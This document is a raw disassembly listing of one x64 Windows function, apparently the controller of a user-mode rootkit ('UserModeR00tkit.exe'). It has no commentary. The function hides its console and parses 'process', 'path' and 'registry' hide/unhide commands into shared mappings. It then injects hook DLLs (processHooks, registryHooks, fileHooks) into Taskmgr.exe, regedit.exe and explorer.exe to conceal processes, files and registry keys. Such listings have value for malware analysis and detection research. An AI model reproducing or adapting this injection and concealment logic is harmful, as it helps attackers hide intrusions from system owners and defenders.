Function at 0x140013c1c
Capabilities:
Accept command line arguments

Disassembly:
jmp 0x1400310f0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
mov eax, 0x1730
call fcn.1400132c1
sub rsp, rax
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x444
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1758]
mov rax, qword [0x14004b048]
xor rax, rbp
mov qword [rbp + 0x1700], rax
lea rcx, [0x14005410a]
call fcn.1400140c2
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 0x50
lea rcx, [rbp + 0x10]
call fcn.1400139dd
lea rcx, [rbp + 0x10]
call fcn.140013825
lea rax, [rbp + 0xb18]
mov qword [rbp + 0xb58], rax
lea rdx, [0x140041e93]
mov rcx, qword [rbp + 0xb58]
call fcn.140013794
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.140013da7
mov edx, 0x20
lea rcx, [rbp + 0xb8]
call fcn.140013bbd
lea rcx, [rbp + 0xb8]
call fcn.140013aaa
lea rdx, [0x140042490]
lea rcx, [rbp + 0xf8]
call fcn.140013573
lea rcx, [rbp + 0xf8]
call fcn.140013591
mov qword [rbp + 0xb78], rax
lea rdx, [rbp + 0xb78]
lea rcx, [rbp + 0xb8]
call fcn.140013ba9
mov edx, 0x20
lea rcx, [rbp + 0x138]
call fcn.140014004
lea rcx, [rbp + 0x138]
call fcn.14001312c
lea rdx, [0x140042490]
lea rcx, [rbp + 0x178]
call fcn.14001352d
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x138]
call fcn.140013d8e
mov edx, 0x20
lea rcx, [rbp + 0x1b8]
call fcn.140014004
lea rcx, [rbp + 0x1b8]
call fcn.14001312c
lea rdx, str.hide
lea rcx, [rbp + 0x1f8]
call fcn.140013573
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x1b8]
call fcn.140013d8e
lea rax, [rbp + 0xb98]
mov qword [rbp + 0xbd8], rax
lea rdx, str.processAgentMapped
mov rcx, qword [rbp + 0xbd8]
call fcn.140013573
mov r8, rax
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x78]
call fcn.140013feb
lea rax, [rbp + 0xbf8]
mov qword [rbp + 0xc38], rax
lea rdx, str.pathMapped
mov rcx, qword [rbp + 0xc38]
call fcn.140013573
mov r8, rax
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x78]
call fcn.140013005
lea rax, [rbp + 0xc58]
mov qword [rbp + 0xc98], rax
lea rdx, str.registryMapped
mov rcx, qword [rbp + 0xc98]
call fcn.140013573
mov r8, rax
lea rdx, [rbp + 0x1b8]
lea rcx, [rbp + 0x78]
call fcn.140013005
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [rbp + 0x254]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rbp + 0x238], rax
cmp dword [rbp + 0x254], 4
jne 0x14003154a
mov eax, 8
imul rax, rax, 1
lea rdx, str.process
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x14003154a
mov eax, 8
imul rax, rax, 2
lea rdx, str.hide
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x14003154a
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0x238]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x278], rax
mov edx, 0x20
lea rcx, [rbp + 0x298]
call fcn.140013bbd
lea rax, [rbp + 0xcb8]
mov qword [rbp + 0xcf8], rax
lea rdx, str.processAgentMapped
mov rcx, qword [rbp + 0xcf8]
call fcn.140013573
mov r8, rax
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x78]
call fcn.1400133ca
mov rdx, qword [rbp + 0x278]
lea rcx, [rbp + 0x2d8]
call fcn.140013573
xor edx, edx
lea rcx, [rbp + 0x2d8]
call fcn.1400131c2
mov qword [rbp + 0xd18], rax
lea rdx, [rbp + 0xd18]
lea rcx, [rbp + 0x298]
call fcn.140013ba9
lea rax, [rbp + 0xd38]
mov qword [rbp + 0xd78], rax
lea rdx, str.agentMapped
mov rcx, qword [rbp + 0xd78]
call fcn.140013573
mov r8, rax
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0x78]
call fcn.140013feb
lea rdx, str.S:MalwareDevelopedS12URootkitprocessHooksx64ReleaseprocessHooks.dll
lea rcx, [rbp + 0x16c8]
call fcn.140013794
lea rdx, str.Taskmgr.exe
lea rcx, [rbp + 0xd98]
call fcn.140013794
lea rax, [rbp + 0x16f0]
mov r8, rax
lea rdx, [rbp + 0x16c8]
lea rcx, [rbp + 0xdd8]
call fcn.140014031
lea rcx, [rbp + 0x1550]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0xd98]
lea rcx, [rbp + 0x10]
call fcn.1400140f4
lea rdx, [rbp + 0x1550]
mov rcx, rax
call fcn.140013eba
lea rcx, [rbp + 0xd98]
call fcn.1400132da
lea r9, [fcn.1400132da]
mov r8d, 1
mov edx, 0x28
lea rcx, [rbp + 0x16c8]
call fcn.140013401
lea rax, [rbp + 0xe08]
mov qword [rbp + 0xe78], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0xe78]
call fcn.14001311d
mov rcx, rax
call fcn.140013226
call fcn.140013988
lea rcx, [rbp + 0x2d8]
call fcn.140013e8d
lea rcx, [rbp + 0x298]
call fcn.1400138c0
cmp dword [rbp + 0x254], 4
jne 0x140031836
mov eax, 8
imul rax, rax, 1
lea rdx, str.process
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140031836
mov eax, 8
imul rax, rax, 2
lea rdx, str.unhide
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140031836
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0x238]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x318], rax
mov edx, 0x20
lea rcx, [rbp + 0x338]
call fcn.140013bbd
lea rax, [rbp + 0xe98]
mov qword [rbp + 0xed8], rax
lea rdx, str.agentMapped
mov rcx, qword [rbp + 0xed8]
call fcn.140013573
mov r8, rax
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0x78]
call fcn.1400133ca
mov rdx, qword [rbp + 0x318]
lea rcx, [rbp + 0x378]
call fcn.140013573
mov edx, 0x18
lea rcx, [rbp + 0x3b8]
call fcn.1400137b7
lea rdx, [rbp + 0x3b8]
lea rcx, [rbp + 0x338]
call fcn.1400132e9
jmp 0x14003164e
lea rcx, [rbp + 0x3b8]
call fcn.140013f7d
lea rdx, [rbp + 0xf18]
lea rcx, [rbp + 0x338]
call fcn.140013212
mov rdx, rax
lea rcx, [rbp + 0x3b8]
call fcn.140013b18
mov byte [rbp + 0xef4], al
lea rcx, [rbp + 0xf18]
call fcn.1400139f1
movzx eax, byte [rbp + 0xef4]
test eax, eax
je 0x140031713
xor edx, edx
lea rcx, [rbp + 0x378]
call fcn.1400131c2
mov qword [rbp + 0x16f8], rax
lea rcx, [rbp + 0x3b8]
call fcn.1400137da
mov rcx, qword [rbp + 0x16f8]
mov rdx, rcx
mov rcx, qword [rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x14003170e
lea rax, [rbp + 0xf48]
mov qword [rbp + 0xf78], rax
lea rdx, [rbp + 0x3b8]
mov rcx, qword [rbp + 0xf78]
call fcn.140013d66
mov r8, rax
lea rdx, [rbp + 0xf98]
lea rcx, [rbp + 0x338]
call fcn.1400136bd
lea rcx, [rbp + 0xf98]
call fcn.1400139f1
jmp 0x140031713
jmp 0x140031642
lea rcx, [rbp + 0x3b8]
call fcn.1400139f1
lea rax, [rbp + 0xfc8]
mov qword [rbp + 0x1008], rax
lea rdx, str.agentMapped
mov rcx, qword [rbp + 0x1008]
call fcn.140013573
mov r8, rax
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0x78]
call fcn.140013feb
lea rdx, str.S:MalwareDevelopedS12URootkitprocessHooksx64ReleaseprocessHooks.dll
lea rcx, [rbp + 0x1688]
call fcn.140013794
lea rdx, str.Taskmgr.exe
lea rcx, [rbp + 0x1028]
call fcn.140013794
lea rax, [rbp + 0x16b0]
mov r8, rax
lea rdx, [rbp + 0x1688]
lea rcx, [rbp + 0x1068]
call fcn.140014031
lea rcx, [rbp + 0x1580]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x1028]
lea rcx, [rbp + 0x10]
call fcn.1400140f4
lea rdx, [rbp + 0x1580]
mov rcx, rax
call fcn.140013eba
lea rcx, [rbp + 0x1028]
call fcn.1400132da
lea r9, [fcn.1400132da]
mov r8d, 1
mov edx, 0x28
lea rcx, [rbp + 0x1688]
call fcn.140013401
lea rax, [rbp + 0x1098]
mov qword [rbp + 0x1108], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x1108]
call fcn.14001311d
mov rcx, rax
call fcn.140013226
call fcn.140013988
lea rcx, [rbp + 0x378]
call fcn.140013e8d
lea rcx, [rbp + 0x338]
call fcn.1400138c0
cmp dword [rbp + 0x254], 4
jne 0x140031967
mov eax, 8
imul rax, rax, 1
lea rdx, str.path
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140031967
mov eax, 8
imul rax, rax, 2
lea rdx, str.hide
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140031967
mov edx, 0x20
lea rcx, [rbp + 0x3e8]
call fcn.140014004
lea rax, [rbp + 0x1128]
mov qword [rbp + 0x1168], rax
lea rdx, str.pathMapped
mov rcx, qword [rbp + 0x1168]
call fcn.140013573
mov r8, rax
lea rdx, [rbp + 0x3e8]
lea rcx, [rbp + 0x78]
call fcn.140013f5f
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0x238]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x428], rax
mov rdx, qword [rbp + 0x428]
lea rcx, [rbp + 0x1188]
call fcn.140013573
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0x3e8]
call fcn.140013bf4
lea rcx, [rbp + 0x1188]
call fcn.140013e8d
lea rax, [rbp + 0x11c8]
mov qword [rbp + 0x1208], rax
lea rdx, str.pathMapped
mov rcx, qword [rbp + 0x1208]
call fcn.140013573
mov r8, rax
lea rdx, [rbp + 0x3e8]
lea rcx, [rbp + 0x78]
call fcn.140013005
lea rcx, [rbp + 0x3e8]
call fcn.140013ba4
cmp dword [rbp + 0x254], 4
jne 0x1400319b6
mov eax, 8
imul rax, rax, 1
lea rdx, str.path
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x1400319b6
mov eax, 8
imul rax, rax, 2
lea rdx, str.unhide
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
cmp dword [rbp + 0x254], 4
jne 0x140031bb2
mov eax, 8
imul rax, rax, 1
lea rdx, str.registry
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140031bb2
mov eax, 8
imul rax, rax, 2
lea rdx, str.hide
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140031bb2
mov edx, 0x20
lea rcx, [rbp + 0x448]
call fcn.140014004
lea rax, [rbp + 0x1228]
mov qword [rbp + 0x1268], rax
lea rdx, str.registryMapped
mov rcx, qword [rbp + 0x1268]
call fcn.140013573
mov r8, rax
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0x78]
call fcn.140013f5f
mov eax, 8
imul rax, rax, 3
mov rcx, qword [rbp + 0x238]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x488], rax
mov rdx, qword [rbp + 0x488]
lea rcx, [rbp + 0x1288]
call fcn.140013573
lea rdx, [rbp + 0x1288]
lea rcx, [rbp + 0x448]
call fcn.140013bf4
lea rcx, [rbp + 0x1288]
call fcn.140013e8d
lea rax, [rbp + 0x12c8]
mov qword [rbp + 0x1308], rax
lea rdx, str.registryMapped
mov rcx, qword [rbp + 0x1308]
call fcn.140013573
mov r8, rax
lea rdx, [rbp + 0x448]
lea rcx, [rbp + 0x78]
call fcn.140013005
lea rdx, str.S:MalwareDevelopedS12URootkit_registryHooksx64Release_registryHooks.dll
lea rcx, [rbp + 0x1648]
call fcn.140013794
lea rdx, str.regedit.exe
lea rcx, [rbp + 0x1328]
call fcn.140013794
lea rax, [rbp + 0x1670]
mov r8, rax
lea rdx, [rbp + 0x1648]
lea rcx, [rbp + 0x1368]
call fcn.140014031
lea rcx, [rbp + 0x15b0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x1328]
lea rcx, [rbp + 0x10]
call fcn.1400140f4
lea rdx, [rbp + 0x15b0]
mov rcx, rax
call fcn.140013eba
lea rcx, [rbp + 0x1328]
call fcn.1400132da
lea r9, [fcn.1400132da]
mov r8d, 1
mov edx, 0x28
lea rcx, [rbp + 0x1648]
call fcn.140013401
lea rax, [rbp + 0x1398]
mov qword [rbp + 0x1408], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x1408]
call fcn.14001311d
mov rcx, rax
call fcn.140013226
call fcn.140013988
lea rcx, [rbp + 0x448]
call fcn.140013ba4
cmp dword [rbp + 0x254], 4
jne 0x140031c01
mov eax, 8
imul rax, rax, 1
lea rdx, str.registry
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140031c01
mov eax, 8
imul rax, rax, 2
lea rdx, str.unhide
mov rcx, qword [rbp + 0x238]
mov rcx, qword [rcx + rax]
call qword [sym.imp.ucrtbased.dll_wcscmp]
lea rdx, str.S:MalwareDevelopedS12URootkit_fileHooksx64Release_fileHooks.dll
lea rcx, [rbp + 0x1608]
call fcn.140013794
lea rdx, str.explorer.exe
lea rcx, [rbp + 0x1428]
call fcn.140013794
lea rax, [rbp + 0x1630]
mov r8, rax
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0x1468]
call fcn.140014031
lea rcx, [rbp + 0x15e0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, [rbp + 0x1428]
lea rcx, [rbp + 0x10]
call fcn.1400140f4
lea rdx, [rbp + 0x15e0]
mov rcx, rax
call fcn.140013eba
lea rcx, [rbp + 0x1428]
call fcn.1400132da
lea r9, [fcn.1400132da]
mov r8d, 1
mov edx, 0x28
lea rcx, [rbp + 0x1608]
call fcn.140013401
lea rax, [rbp + 0x1498]
mov qword [rbp + 0x1508], rax
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x1508]
call fcn.14001311d
mov rcx, rax
call fcn.140013226
lea rcx, str.UserModeR00tkit.exe
call fcn.1400134ba
mov qword [rbp + 0x4a8], rax
mov rcx, qword [rbp + 0x4a8]
call fcn.140013b7c
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x4c8]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140031d1b
lea rcx, [rbp + 0x4c8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x4c8]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x140031ce6
mov eax, dword [rbp + 0x4d8]
mov dword [rbp + 0x1524], eax
lea rcx, [rbp + 0x1f8]
call fcn.140013e8d
lea rcx, [rbp + 0x1b8]
call fcn.140013ba4
lea rcx, [rbp + 0x178]
call fcn.140013e8d
lea rcx, [rbp + 0x138]
call fcn.140013ba4
lea rcx, [rbp + 0xf8]
call fcn.140013e8d
lea rcx, [rbp + 0xb8]
call fcn.1400138c0
lea rcx, [rbp + 0x78]
call fcn.14001327b
lea rcx, [rbp + 0x10]
call fcn.140013c4e
mov eax, dword [rbp + 0x1524]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14003f810]
call fcn.140013dfc
mov eax, edi
mov rcx, qword [rbp + 0x1700]
xor rcx, rbp
call fcn.140013820
lea rsp, [rbp + 0x1710]
pop rdi
pop rsi
pop rbp
ret